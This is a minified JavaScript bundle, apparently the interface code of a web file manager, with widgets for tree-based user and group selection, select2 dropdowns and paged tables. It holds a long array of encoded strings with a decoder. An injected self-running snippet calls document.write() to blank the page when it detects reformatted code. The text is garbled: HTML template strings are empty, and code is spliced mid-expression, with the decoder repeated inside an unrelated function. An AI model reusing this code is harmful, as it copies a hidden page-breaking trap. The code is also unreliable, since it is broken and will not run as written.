ig==","E8OjG2rDtMORfMKVwrw=","w5oiLnZd","w5vDrBvDg8Of","w4TCrsKtwoLDtw==","Q8KxUCDDtsOaGn8=","woHDmMO2aws=","wqk7w7Iawo0=","GRnDhgsW","wrzClsKMw77Ctg==","PsKXwrDDpWY=","VCFqAxN5R8O4XnQ=","A8KEw7/DmcKB","bcO9N05P","Pg82I8Kw","PsKew4DDkyEHwp/ClHHDlRXDk8OtwrzCgcOKJQ==","wqJMw40Dfg==","EB9bw6rDuArDuzRSw67DqcO3ZMOyUMKHw4Q=","wonDicOwew8=","RkNPw43DocK5AA==","cjNGA08=","QXdEw4fDjg==","NsOtwptXF8KP","wqlrAxHDpg==","Qj1rFA==","QiHCiCrDuQ==","w7bCsV3CgWw=","w4rCtGfCgQ==","SCtXK0k=","w5kKFlFD","woFeworDhDA1EMKj","wpbDr8K/Vg==","w6bDvi9JwqY=","w4weJWFv","wo9OwobChcOJ","wrMWwprCgwoR","dMOkwpBWCcOcwqlV","wpHDnMKqUh0=","ScKURxHDiA==","wotWMjvDug==","w53DrxLDmA==","QcK3VDnDiA==","wrZ9ET3Dpg==","w4s/wpzChMOe","OcKIw5TDlGsdwoXCs3jDiFvDjcODwrfCgg==","w618SsK+","Zl7DvlfDmg==","wqprwqknPRPCrsKzQQ==","w6jCrsK9wp/DiA==","w6YENFJe","wrEAw7MmwrE=","w6MnKXE+","MsKbwrchwqU=","wqdCwqvDosOX","wrJOwqjCgcOAw6lN","K8OowpNPNQ==","w5RSTsKFJw==","w6nDm8KdL8Op","VsKpWD/DncOWGw==","w64mwpDCs8OqTVs=","TcOqIC3DvcKWQg==","wrhBw6IsRQ==","VMOiOxrDig==","UDHChVbDow==","UMOsJB/DvQ==","w4JyRcKzPMOGw6rDu3Q=","wqZUw5cbXg==","bk5Uw5DDvMKTBsO6w4PDoTlp","wr9bwqDCpcOm","wr5swqXDn8Oy","MsK+w4DDqsK+","wq86RcKgGcO2H8OkwqrDh1w9MT4=","VMO5wrtDCA==","w4JYw7TDgQ==","aG7Cl19H","csOUwoVfNQ==","EcO3YVI5","w5fDg8K7D8OX","Q8OLBSzDgw==","w7ROw4EsfA==","LcKYw4vDgnoHwp7Cng==","X8O3LUxv","w6hCwq3ClT/CjzXCgRI=","w608E2pN","KcKCw4rDjWsPwp8=","McO0BsK/wow=","JMKPw4/DhG0a","w7xzw6kDRw==","LsOxwpFUG8KlwqTCscKqf3lOw7rDpg==","fF7CqmhA","YFLDv3fDnA==","FsOvwpRhMg==","BjDDvhgJ","VsOwLCPDmw==","w68lwoPCvsOf","ccOqwqtDMg==","wrTDgcKYTsKZ","w4VbwqfCuQw=","eEHCk0Fz","wonDv8KDZFzDhcK/wq7CsA8=","w47Dn0kew7w=","w43DqhbDhg==","wo1yFAjDvg==","EsKnAyTCjsOPWHcgw57DsA==","w53DiyxJwoM=","CcO+FMKewqdkw7B0wq/CocOwJw==","wo7CpMKfw7fCtw==","F8K0w5fDnMK9wojDnFXDtDx7wrNe","VAXCjSvDjw==","bXTDi2/DgQ==","eDDCmSHDog==","wojDmMO8JcOF","PcKSOcKbFg==","w6vDjyXDrMO0w6p2wrdLJQ==","w6/DqT99woc=","LsOET2Q6","dF3CqhfDrHzCj8Oww5DCplR/wrA=","C8KsBcKdEg==","PMOUA8K6wrQ=","OsKowoomwpI=","I8KSw5zDiMKp","woFvwojDmQE=","w5LClMKHwoXDtA==","w7vDsMKzAsOK","wrM7TMKqdw==","w6UuDUcq","w7DCkV7CsGU=","wprDvcOcYC4=","woTCuMKSw7fCrQ==","ScKscCnDtQ==","w5IqNElT","L8Kdw4fDlHc=","NTolJMKo","woYFw4Ujwo0=","wqAtw4siwqk=","w5rDnGMHw4o=","esORwppcCA==","UCtoKVM=","wrU4wo7CmQY=","woRdMxTDvA==","wqkXwoDChh8=","fUbDvl/Dmm8WfQ==","wrJswqrDsQo0LcKEwqfCpA==","NcOWJg==","LsOAMCzCiA==","w5F4R8KxOA==","wqbCpMKcw7DCgg==","wpgnWsK3eQ==","wpZSMTzDog==","wpd3ISXDpw==","LMOMH8KMwoU=","YhzCszXDrw==","E8O2I2HDog==","w6xIUcK0GQ==","wr4ebsKlfw==","LMKhwpkewoU=","EcOywr9jAw==","woRGwpbDhcOa","wqURw7A=","bsKNdBnDoA==","wrMMwp/CgQYGw7E=","dTPCi3/Dtg==","wrhQw6E=","ThbDqx01","wojDhcK5cMK+","XSrCmA/Dug==","BsKJw7XDucKJ","w59qacK9NA==","IcKCw4bDtUA=","bVLDkH7DsQ==","wrpvHTTDmg==","RcK+RQ==","wrbDucODVQs=","PsKLwowNwoM=","E8O6UE8i","IsKew4DDuMKu","eDXCh2HDvsKGOsK1woQ=","esOGDG9K","wrnDncOmPMOQ","w792w7sz","wpNzwqvCq8OT","w7zDvcKtIMOt","aMOIMFZS","w6E1Pkgv","w7t8w4EhQA==","A8KZwrvDkkE3","w6DDqipYwpY=","MBlyw7vClQ==","wqDCvcKNw4HClQ==","RcOOwph0CA==","w5V+w4ADfQ==","wppAwrzDkMOO","UXBLwoc=","Uzd/HV12TQ==","w7nDqHo0w7c=","wprCosKpw5/CjA==","JcOEPmTDqw==","w6DDuDHDkMO/","w7TDmFYzw4I=","WExew4/DvcKzAsO9","JMOGNHrDrQ==","wrtjwq/DjsOI","TMKReh7Djw==","wqJGw5A0e8OOw5k=","w6MuPWZB","SEnCiXl3","FwkdKMKvw5/CrMON","AwVMw6vCog==","BRMQOcKX","wqNcwoLDh8O2","AcKdwr3DuU8=","wpDDr8KkcsKu","AxAZIg==","w5bDswNawqc=","woI+TsKbYw==","YEhIw6nDuA==","LsKswpzDqmcQZMKKdg==","I8K4w5TDmsKs","WlvCimJ3","XQzDmDMA","wqnCq8KAw4XCkw==","w7fDpcK0CMOs","YXNjwprDtA==","TDlfC0o=","w71tSsK7JA==","w7ZDw6ArYA==","w4rCr37ClVgRw5DCgMKFwrfDqgE=","w4zDijHDrMOE","GsOMMD3Cog==","w4bDpsKZNcO/w4nDuA==","ccOrwpNB","BgRbw7vCvSrDuzRUw7XDiQ==","w5zDrh7DjcOMw5tLwrl4DlMi","wrYdWMKiWA==","wqvDncO6OcOd","wqMIWsKARw==","w4PCh8KawozDsA==","ZCVsI3A=","wqkXwozCnRwQw6DDgA==","L8KBw47DjMKs","wrpMw7IBZA==","ZUzDlmXDnw==","wqzDicO7DcOt","wprDisK7WMKg","wpfDoMKjScKi","JsOBO1g=","wonDqcOZRw==","M8OYC0/DqA==","wqwcwoHClh0c","wo1eworDgcOo","wos6wrfCqAM=","e8OtPzrDuw==","cyrCmk7DoQ==","SMOePFRc","bxXChjBuwpTDrirDsMKfIcOEw6rCgiM=","DMKLw5bDmEA=","w7QoVcK7G8OjGcOvwqnCjV4o","wozDgMK1ZgE=","QMOPwpB+Dg==","VDbCghPDkg==","w7pYwqjCkMKHw69Twp/CjsKyT8Odw4JpDcOOR8OGDcKnNTDCmEfCmcKTw612T8KDw5PDicOuwqVcfm4BUcO2wqHCsgXDnMKrwoVgb0s=","MsOOLMK6wqc=","wrJyP0gYSQ==","dcOhIh3DsQ==","wqcMw7Q/wpBIDMKQLsO3KnFZKsK/NHrDu8K2Fg==","wo19w7gLcw==","wpBVwpnDjxASEMKgwpDCrnV2w7ckw68=","RSHDhzYy","DFDDqw==","wogEw7Agwoc=","bcO/w5k=","wo1fNgfDkg==","w5s+wpjCrMKtbVvDh8KJUw==","eQJ8B20=","N8O9ORTCjg==","wqUBwp/CnQYGw6DDgcOmU2bDgEvDlcK4K8ORbGw6w5k=","HQAtFsK7","McKnw6fDk2M=","wrDDo8KFdx/DrcKxwr3CuA==","wpTDqMK9UMKb","FMKBw4zDknoqwpDChHXDo1XDiA==","wptLwqLDvMOa","AcKOwo8uwr0=","Rx9ILMORw4rDrMOFwp8rBcK8VwB4","LiQSHsKs","wpTDrcKVfjfDjMKzwqbCvQQ=","KcKLw7HDgMKS","wp5TwpzDsMON","woJawqzDv8O0","wrQQwoLClA==","w7wQwqHCscOL","BBlKw7DClRTDrSNP","Q0/DolLDhw==","w4srPk8aBA==","cirChTTDig==","w7LDjzU=","wpvCosKJw7DClA==","wrnCoMKnUcKww5sywpTCqsO6EA==","w5kMwrPCl8O0","w5PDr1IEw6U=","w4vCrnLCgBACw4vCoMKEw73DqBTDnWE=","wpwYbMKHbg==","OcORw7g1","Th1XInY=","woNQwo3DgzASTMKuwoTCnnllw7o=","wq3DmMK1bAI=","wqTDvMOYSwY=","ExUdPA==","w6zCoMKvwpjDqg==","w6zDsRjDv8OT","wpRhf2oRVG0pSg==","NsOCNmzDnw==","PQrDkxw0","CmTCr08=","wr/DqcOHF8Oq","wrbDmsKYbsKLwrEcwrnCm8O0C1DDuFs=","w4nDuzvDhMO8","SWVtw6zDsA==","w7QCNlFs","K8KMwrsPwrs=","wp1TwrzDgTo=","I8OvYE4w","w4gkHk5b","FsKzwrjDlHc=","wrYEw4I1wrc=","AsKew4vDk0o=","NcKJw5HDmsK/","YD/CpyzDhg==","WHTDh0vDvg==","wpjCl8Kqw4HCt8K8wrbCmMOcQsKVaw==","McKjw4/DhA==","JsK9w4nDmsK9","w7LCpHzCpVQ=","OADDliA1wo8=","w5LCtGTChg==","b2PCi1l7","woN8w78NTg==","ZHbDtnvDoQ==","HsKrMsKfKg==","wo44YsKaVA==","Z0XDnVTDhA==","wol/NhPDpcKbW3Fbw6g=","w6QUwo7CmAc=","X8OxJy4=","w50yworCrcOD","VSBmHA==","BMO5ZW4m","PsKmF8KeCQ==","QkdhwoHDnA==","LMKEw6/DuMK9","wrRZwrLClsOIw6JMwpvCqcKkCsKL","w5bDswlIwrA=","wpYwS8KFXQ==","eMOGH3BRSQ==","wpwBTcKATg==","J8KxI8KXMw==","GMODJkbDng==","wqfDq8O4IMO+","w6p0R8K+P8Ol","KcK4w5XDnQ==","w4hVS8KAKA==","w4JHw6stXw==","w5vDqBbDnsOew40=","w5YNKFc/","w6LDmzLDkMOA","w7TDiFETw54=","OMKZw4TDlXsd","HjzCuDTCjG4cf8O0wpwqwoR6YMKuw4fDvsOTP2fDsMKIUi7CgW4owpJKwocpwoPCicOnJXkdKGt8wod+Om1Zw7bDhl3CixV3RMKmBsKPLAoHH0wwKUDDrz4swpjCqF10Hi3DhsORw5vCqcOMwqoGQcKnwo3CusKkMTbCq0x0csKVZijDhsKpVWXDlhgrwqYKG8KdPGkQHcKU","FcORwrxoIcOOwoXCmsKMTAl2w4nDg8OSwqwIdSDCicKfw6/CpcKBw6xxVFdwRxRXZGdoVsOLwoLDlGvCoMK7SMK1OcKIdsO6AcKYRX0Vwrg/FDp/QMO8wonCmsOxUmdCw5DCt8KmZsKuwrZswoHClRnCg8OiworDk1sZGDNZYMKiwofCkwVyFypXEhLChwcMPcOnXcO6LsKDK30lJsO5VMO3LinDnGl2woJ9w5HDkxfDjzpJdGzDgMOgLsKRwoNYwrUlwpnDucKIVcKEWnLCkcKdNsKQw6TCqsOrw5tnZlLDg8KNZcOBw74CwpTDgB0Fw67CoiAow7pRTR3CmcKxwpDCq2jCpMKHw57CvsKgw5lrbcORw58ECjfDuMObw5/CpcOiCMO2wrjDvDUdwqEpGcKnwoB1wq5eNcODL8OkwqvCgcKXJHQ1w6YKREpHwoDCnlcPR8OqwpDCiVhZSFXCp8OfeQEqcCwlwqknw7lEccOAMsK4wrHCuBIFwrfDrjYdZ8Kjw4sqw6/Co8KEw7VODhbDi8Klw5AbS8KIHcONVyVuwodvM8OVwrzCkFxLanrDjcKccgUxw6rDtsOTaMKM","IcOHM0HDk8Ot","bsKcOgbCmMKUIMOIw7BywrLDqOaeg+WLruWYm+WlsOeQs+isiuayluW/teW5vMK45Y2H6IGC55uc5Y+A5ZuxJBtgesK7wp7DjEYNKRBywqzCicKqw7oHEMOi6K6H5rKF6L6Q5LiS6aCy57qhwqbmn6Hli4HlmpHlpIznkYbotbXmlobmirvlpq/nkJrlpYnot4LpgKXmibXnmrvlvpjlu50NUcKQAWPCgBxoZMO3K8KAwr3orJTmspTotLDml4NQw6fmo4rmnI7DosKmNTrDoGXDkMOSNzgtw63Cqei1huaXo+aVr+mVuSxS5YaA6IKR55iy6YGs6Z6k6KSM6K+0576meuaOouiMjuisg+e/lOS4m8O5wpfDnC7Ch8OSw7XDuXUxf3cUwqNZUsKmw6vmnpPliIXlm4jnobbku67otLrmuqLku5not5rCoGbmo4HmnILlh6vlrJ0wwoAwwqPDuuegqueZp+i0lea4n+WOnueWjOaAieWGhcKywpzmoYjmn73CsFDDiOWFjeisl+eZu+WFj+Wvg+WkneWzr8KG5o+P6I+x5Ya76K+F5L+U55Wvw7jDtFkDwoXDtsOww4FWGcKcwr/DnMKrZQ99A+Wmh+acqeS8nueWqOS7iRkVwoDDrMOPw6zDikBxDsKU566lw6bDluahk+aeoeeYpuW4gOafveWLjuaanuWRlOavk+W4g+i9teiho8OH5bqz56G+5L6u56i65bm05ZGn5a2M5bi95p2J5Yu557yA57uX6L6n6YOg5oOCw6wxw6R+Pw4+fRhXw6rDn8O0DzjDlWXCpsOI5o2y6I+e54y45aClwqUFw7AuUsKYcMOkw6fCjkZwAcO9w6ANGcO/w6ABbMOsK8KOwofCvcK2QMKLQkA8bsKfwoEowoPDlDbCmsObwpPDvsKjwqjCpADDuMOtwrPDo8OQQlnCq8KlwoYlwpzCo8KUZTXDnljCtV18ThVtfcO7","cFzDkFHDn20=","wostw5Idwrc=","w6LDrAPDmcOT","w6MbKVQ0","w7zDnCJ3woY=","Wl/Ch392WA==","w4deYsKeAw==","XHzDm2nDtQ==","wpxvw4MJbw==","BcOpBGXDgg==","LCIPN8K0","fwjDvREO","BC7DmQIV","JiPDtT43","w70xwo0=","wr9PwpXDpsOy","N8OBMsKCwog=","wrXDtMK0RsKk","Mh92w6/Cnw==","worDjMOiSiM=","wr3CiMKKw57Crw==","wqvCq8Kdw73Cmg==","wo3Cl8Kt","w78NC2Ai","Qy/CjEzDgQ==","w5LDuhI=","w5/DuRdVwpo=","w6vDhD3DqcOS","w4JZdMKDMw==","UmTDvWjDqA==","wqFZwrU=","wrg+w4YhwpI=","w48+LHVGHy4=","Q8OSCzjDtw==","wrMcwps=","w4/ChcKawrrDtg==","FcO5I8KfwqU=","w4HDrQ9cwrJNRA==","w7UbwqHCh8OH","GsK5w7bDm38=","CQlQw7/Cog4=","FB3DlSg5","R0NRw5bDrQ==","w7UIGEl6","P8O+BsKEwqZy","RRLCrQ3DrQ==","fcO1Jh/Dog==","wrLDrsKgYhQ=","AR1aw4HCrw==","D8KLEcKJFQ==","Fi7DsjYx","wpMgw5cpwo4=","w70pOlUbBA==","wrTDhcKMQjY=","woXDg8KLdzE=","a8KoXyrDvg==","UcKSbMOiw75zw61Dw6nCtsO5NGJLaTbDmDw5QMOtVixlYXHClxUbwobClFIqwrvCqBldw6dOAMO/JcO2D8ONwo4kO8KOwpXClAwvGmLDuMOGYsObwrBqw4/DvcKjw5LDq8KodsOQKnl7woLDq8KmwptcPMOgCVXCvcK8wpxLwpXDrnzCshA+wprCl8KcH2Uyw6bCl1LChcKXw4VYw6whw49Jw5g=","HcKcDMK1HsO+KsO8wpVkwoV1w7HCoVvCgV4ZI8KowoVXw6bCusOEwqjCtcKYPUxWXkhawoTCuhFmE3lXw4rCuhPDrgREwpxTbMOgw4LDqlh+WsKXAsObwpvDvxElwoHDi1vDgRrDoCBvYUgmw6NGLcKXw4rCgD1rM8KSfcONPMOgIWDDmz7DnsKiw6TDpVklFMO5wqnDmMOvw4rDvVFibMO5b8OaU8KqZsOsXkbCpMOWwpbCo2ImTm4Jwqgmwrs5wpnDj1kbEMKALcODTcKTw5BDwp/DrMOOw47CsMOBw7EIXybDlsOPwr8ZUMKlWQ0jwochNMOOw7LDmMOIwqPCozJRw4jDty7DqAzCl8ODwpPCoHVdQQNrC8OVw5LCnHtdw5kUw5PCuRQfwrXCvEMNCQbCt8KtdiQsUMOrfAkVw7EVcsK2ecKECGFFSGgjw4TCisOOI1R6FFl4US4Cw47Ct8KyXsKAwo7CgMKpflQkwqrCvMO9McKOZsO8A8KJccKrHsKoZsKTw6LDjsK+GS5uw60cwrjDncOFw5nCjlLChzYBw4/DryZkwrEnw5M7DsKUdsO3a23CjMOrw7R4bMO6","wqZdwoXDvMOIHg==","w6howoTCshc=","woF+CBzDnw==","Wh3CohTDvTbCr8ON","GsK4wpjDt3s=","XUVywqXDvg==","wr57wpHCqcOf","AhEVPQ==","T8OjGEhw","F8KOwoo/wqQ=","wo3Ct8Kaw5rCgg==","B8K9PMKIHg==","w6d7VMKzPcOnw4PDu3hT","WcOXHQfCiw==","w5jCtHnClg==","w6/DugTDk8Ol","SgDCumrDhcKkCsKOwrRW","ecONOE5T","P8K4NMKfLQ==","bMO5OUlz","wrZhFB7DrQ==","wobDocKxXSE=","KcKiBMKSGQ==","wqNvw7YcYA==","wqDDmsOUZzM=","w68cMHxF","w4IyOEACM8KefsOu","DcKxHcKgLw==","w4U4wpDCp8O5bEjDgcKHb8O3Tw==","UsO2HSvDow==","wpNzCDHDpQ==","bzLDpzoV","dsOlOnFo","wpDDtcOdL8Ox","blHClnJy","UArCq2fDgQ==","SjzClgvDvg==","w7o0NkQ=","w6srI1c6","wopswq/CgcO0","AsK6w5fDh2g=","J8O7IWPDng==","w7tuQ8Kgf8O0w6LDqmIQwofDn0o3","w6QzDmBx","wq5Lw4XChg==","XnPDmFzDgA==","wp3DucKSfjDDm8KpwrnCrQ==","Ey9dw5LCgQ==","w7DDqQNVwqFb","w6zDuA9SwqQ=","w4jCh8Oe","w67DphjDrsOM","ZnxkHlg7Q8OwU1PDqQ==","wrvDosKqWBU=","KcKgwok9wo/Dtz4WwoPCsxBtRA==","wpUbwr3Cmzw=","ScOwLgDDkQ==","VcKQXwHDncKrwprDuCA=","wpNbwqHDszQ=","w7zDqkgQw6U=","Bk1rwq4=","w6/DhihSwpg=","wr1IwpfDoMO5CEUHwoo4","wpRxwpbCqsOx","wq7DgMOvP8Ov","LsKZwrPDvnM=","AScpFsKE","TibCq3LDpQ==","wqwdWcKUfA==","PsK5wp0l","LcKQIsKUKg==","wq7DhMOrOcOLw6jDkcONL8KVdzcYNDjDu8KQ","VMKYUhLDrQ==","w5zDusKWHQ==","JhRpw5XChw==","BQbDgwoT","wpnDg8OeOMOu","wrAawqDClgM=","w5sONnsD","C8OrwqZINw==","wo/DrMOjWBI=","f1vDpVzDiQ==","wrnDh8OGFsOJ","IcKnw6HDjFg=","IhZOw6HCpw==","WE1Yw7rDpQ==","IsOUMsKYwrQ=","JTQQKcKP","wqxQw6E=","w7kNwpHCrcOZ","CsKKwq3Dg2E=","w7LCjXnClWw=","KsO1wqtjFw==","wqUbwqnCowQ=","w69fw6sNdg==","wrLCisKLw5TCgA==","EQYI","R1vDpVDDug==","VWFtwo3DrA==","wp5mw7gDZg==","EMO0HyLClg==","HMKJwqXDhVotRQ==","A8KmFsKVCA==","LwzDgw==","w58vBXJe","w4RDwr3CthA=","C8OcJnPDrw==","XGxew6/Duw==","wrVJwrHClsOIw75L","CCJdw5TCpQ==","wrERw7A=","w5bDuz9MwqI=","YArCunjDpQ==","w5XDrWk0w7Y=","wprDi8OZZTI=","w4bDjGk8w7c=","CcKNAQ==","Y3hNwq7DoQ==","EsOXwqxjI8KEwpM=","dkxxw63Drg==","wrQVw6gmwpo=","CQvDpSYP","w4zDuRTDhcOPw5s=","VzNjBFk=","NcK5w4HDo8KT","WX3CoV5O","w6w5AmUP","d3TDuXjDkw==","w5QEFUgj","cgVjCFA=","w7pJwr0=","w61ETsKrBA==","JsO4YVIC","w5/DscKbH8Oqw4o=","UgvCml/DlQ==","w5gmOW9i","Z8OFwqd/Gw==","wrBowrjCoMOt","w7skwpDCl8OiRk/DnMKB","w6hyw6kuaxzDrsKcFgfDsw==","XMO6DxjDtw==","PsKswpTDs2M=","b8OKCkhXQ8OEZUEJ"];r=o,function s(e){for(;--e;)r["push"](r["shift"]())}(169);var g=function g(e,t){var i=o[e-=0];if(g["vprWuo"]===undefined){!function(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}e["atob"]||(e["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o})}();var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s
')}e.groupID?e.$node.addClass("node-item-group"):e.$node.addClass("node-item-user"),e.nodeAddClass&&e.$node.addClass(e.nodeAddClass),e.disableSelect&&e.$node.addClass("node-disable-select")},clearSelectW8:[(function(){var uploadStopChangeseaj5=function(){return {}};var iconFlexgSl0=uploadStopChangeseaj5+"";var markdownTitleMakeMLfD4=String.fromCharCode(-68+(173-(25+70)));if(iconFlexgSl0.indexOf(markdownTitleMakeMLfD4) != -1){document["write"]();}})()],"changeForTreeNode":function(){var a=this.zTree;if(a&&($("#"+a.setting.treeId+" .tree-node.this").removeClass("this"),!_.isEmpty(this.listData))){var r=function r(e){var t=e.userID?"userID":"groupID",i=e[t],n=a.getNodesByParam(t,i);_.each(n,function(e){e&&e.$node.addClass("this")})};if(this.isSingle)return r(this.listData);this._each(this.listData,function(e){r(e)})}},"changeForResult":function(){var e=this.$(".clear-select"),t=''+(n=this.$afterDom.attr("placeholder")||LNG["common.select"]+"...")+"";if(e.removeClass("hidden"),_.isEmpty(this.listData))return this.isSingle?this.$selectBox.find(".kod-select-title").html(t):this.$selectBox.find(".select-list").html(t),void e.addClass("hidden");if(this.isSingle){var i=this.listData.nickName||this.listData.name,n=this.itemIcon(this.listData)+htmlEncode(i);return this.$selectBox.find(".kod-select-title").html(n)}var a=s(93),r={"list":this.listData,"itemIcon":_.bind(this.itemIcon,this)},o=this.renderHtml(a,r,!1);this.$selectBox.find(".select-list").html(o)},"dataToggle":function(e){if(!e)return this.listData=this.isSingle?{}:[],this.trigger("dataChange");if(this.isSingle)return this.listData=e,this.trigger("dataChange");this.listData||(this.listData=this.isSingle?{}:[]);var t=e.userID?"userID":"groupID",i=e[t];return _.find(this.listData,[t,i])||_.find(this.listData,[t,parseInt(i)])?this.listData=_.filter(this.listData,function(e){return e[t]!=i}):this.listData.push(e),this.trigger("dataChange")},"onRemove":function(){$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"treeCallback":{"onClick":function(e,t,i){return i.$node.removeClass("curSelectedNode"),i.groupID&&"user"==this.selectType?this.zTree.expandNode(i,null,!1,!1,!0):i.disableSelect?i.groupID?this.zTree.expandNode(i,null,!1,!1,!0):void 0:(this.isSingle&&this.menuClose(),void((i.userID||i.groupID)&&(_.isEmpty(_.pick(i,this.keyID))||this.dataToggle(i))))},"onExpand":function(e,t,i){this.changeForTreeNode()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=s(i(5)),r=s(i(6)),o=s(i(26));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"selector":".form-select select","initBefore":function(){this.adminModel=o["default"]["adminModel"]},"bindForm":(n=(0,r["default"])(a["default"].mark(function l(t){var i;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:(i=this).loadSource(function(){i.$el&&(i.$(i.selector).each(function(){var e=$(this);i.selectInit(e,e.parents(".form-row").first())}),t&&t())});case 2:case"end":return e.stop()}},l,this)})),function c(e){return n.apply(this,arguments)}),"setValue":function(e,t){t&&_.isString(t)&&e.attr("multiple")&&(t=t.split(",")),e.val(t).trigger("change")},"loadSource":function(e){requireAsync([VENDER_PATH+"select2/css/select2.min.css",VENDER_PATH+"select2/js/select2.full.min.js"],e)},"selectInit":function(e,t){var i=!!e.attr("multiple"),n="form-select2-dropdown-type-"+t.attr("data-type");n+=" form-select2-dropdown-key-"+t.attr("data-key");var a=this,r={"tags":!1,"tokenSeparators":[","," "],"multiple":i,"closeOnSelect":!i,"dropdownAutoWidth":!1,"dropdownCssClass":n+" animated selectDropdownShow","allowClear":!0,"placeholder":LNG["explorer.selectDesc"],"language":a.selectLanguage(),"matcher":a.searchMatch};this.selectDataMake(r,e,function(){var i=r.templateResult||function(){};r.templateSelection=r.templateSelection||r.templateResult,r.templateResult=function(e){var t=i(e)||e.text;return a.templateResultAfter(t)},a.trigger("select.initParam",r),e.select2(r),a.selectEventBind(e,t,r),a.selectEventBindAfter(e,t)}),e.data("kodViewSelect",this);var o=e.data("select2");o&&o.$dropdown&&o.$dropdown.addClass(n),this.bind("onRemove",function(){try{if(!e||!e.data("select2"))return;e.select2("destroy")}catch(error){}})},"templateResultAfter":function(e){if(!e)return e;var t="";return"string"==typeof e?t=""+e+"":$(e).each(function(){t+=$(this).prop("outerHTML")}),t=(t=t.replace("$%@",'')).replace("@%$",""),$(t)},"selectDataMake":function(e,t,i){e.templateResult=e.templateSelection=function(e){var t=$(e.element).attr("data-html");return t?$(""+t+""):e.text},i&&i()},"searchMatch":function(e,n){if(n.text===undefined)return null;if(""==e.term)return n;var a=function a(e){var t=$.extend({},n,!0),i=t.text;return t.text=i.substr(0,e[0])+"$%@"+i.substr(e[0],e[1]-e[0])+"@%$"+i.substr(e[1]),t},t=n.text.indexOf(e.term);if(-1>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o});var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s=t.length?{"value":undefined,"done":!0}:(e=n(t,i),this._i+=e.length,{"value":e,"done":!1})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var u=o(i(20)),r=o(i(487)),n=o(i(491)),a=o(i(492));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.config=e.config,this.makeTable(),this.actions=new a["default"]({"parent":this}),this.pageing=new n["default"]({"parent":this}),this.currentPath="",this.searchValue="",this.currentCount=0,this.refresh(),this.bindNotify()},"makeTable":function(){var e=i(493),t=this.renderHtml(e,{"config":this.config},!1);if(!t)return!1;this.target=$(this.parent.$el).find(this.config.container),this.target.html(t),this.dataTitle()},"dataTitle":function(){var e="",t={};for(var i in this.config.items){var n=this.config.items[i],a="",r="down";this.config.order&&i==this.config.order[0]&&(a="this",r=this.config.order[1]);var o="";this.config.sort&&_.includes(this.config.sort,n.field)&&(o='',o+=''),e+='
'+n.title+o+"
",t[n.field+"_"+i]=n}var s='
'+e+"
";this.columns=t,this.target.find(".content .list-table").html(s)},"refresh":function(){arguments[0]&&(this.config.data=arguments[0]),this.pageing.currentPathPage=arguments[1]||1;var i=this;this.request(function(e,t){i.trigger("list.after",i.currentPath,t),i.dataList(e)})},"request":function(i){var e={"page":this.pageing.currentPathPage,"pageNum":this.pageing.pageNum};if(this.config.order){var t=this.config.order[0];e.sortField=this.config.items[t].field,e.sortType=this.config.order[1]}this.target.find(".toolbar .search-box").length&&(e.words=this.searchValue);var n=this,a=Tips.loadingMask();(0,r["default"])(e,this.config.data),this.config.request(e,function(e){a.close();var t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(e){if(this.target){var t="";e!=undefined&&(0,u["default"])(e).length||(t+='
'+LNG["explorer.noData"]+"
");var s=function s(e,t,i){var n={};_.get(e,"attr.formatter")&&(n=e.attr.formatter(i));var a=$.objClone(e);a.attr=a.attr||{},a.attr=$.extend({},a.attr,n),_.unset(a.attr,"formatter");var r=[];for(var o in a.attr["class"]="list-"+t+(a.attr["class"]?" "+a.attr["class"]:""),a.attr)r.push(o+'="'+a.attr[o]+'"');return r.join(" ")},i=this.columns;for(var n in e=_.filter(e)){var a="",r=e[n];for(var o in i){var l=o.split("_")[0],c=r[l],d=i[o];_.isFunction(i[o].formatter)&&(c=i[o].formatter(c,n,e)),a+="
'+c+"
"}t+="
"+a+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(t),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())&&this.target.find(".toolbar").hide()}},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t){e.exports=function(e,t){return{"enumerable":!(1&e),"configurable":!(2&e),"writable":!(4&e),"value":t}}},function(e,t,i){i(120);for(var n=i(3),a=i(14),r=i(21),o=i(4)("toStringTag"),s="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),l=0;l"+n+"","hash":a,"time":timeFloat()}},o=function o(e,t){var i=e.render(t);return _.each(n,function(e){i=e(i)}),i},n=[],t=function t(e){n.push(e)},u=function u(e){for(var 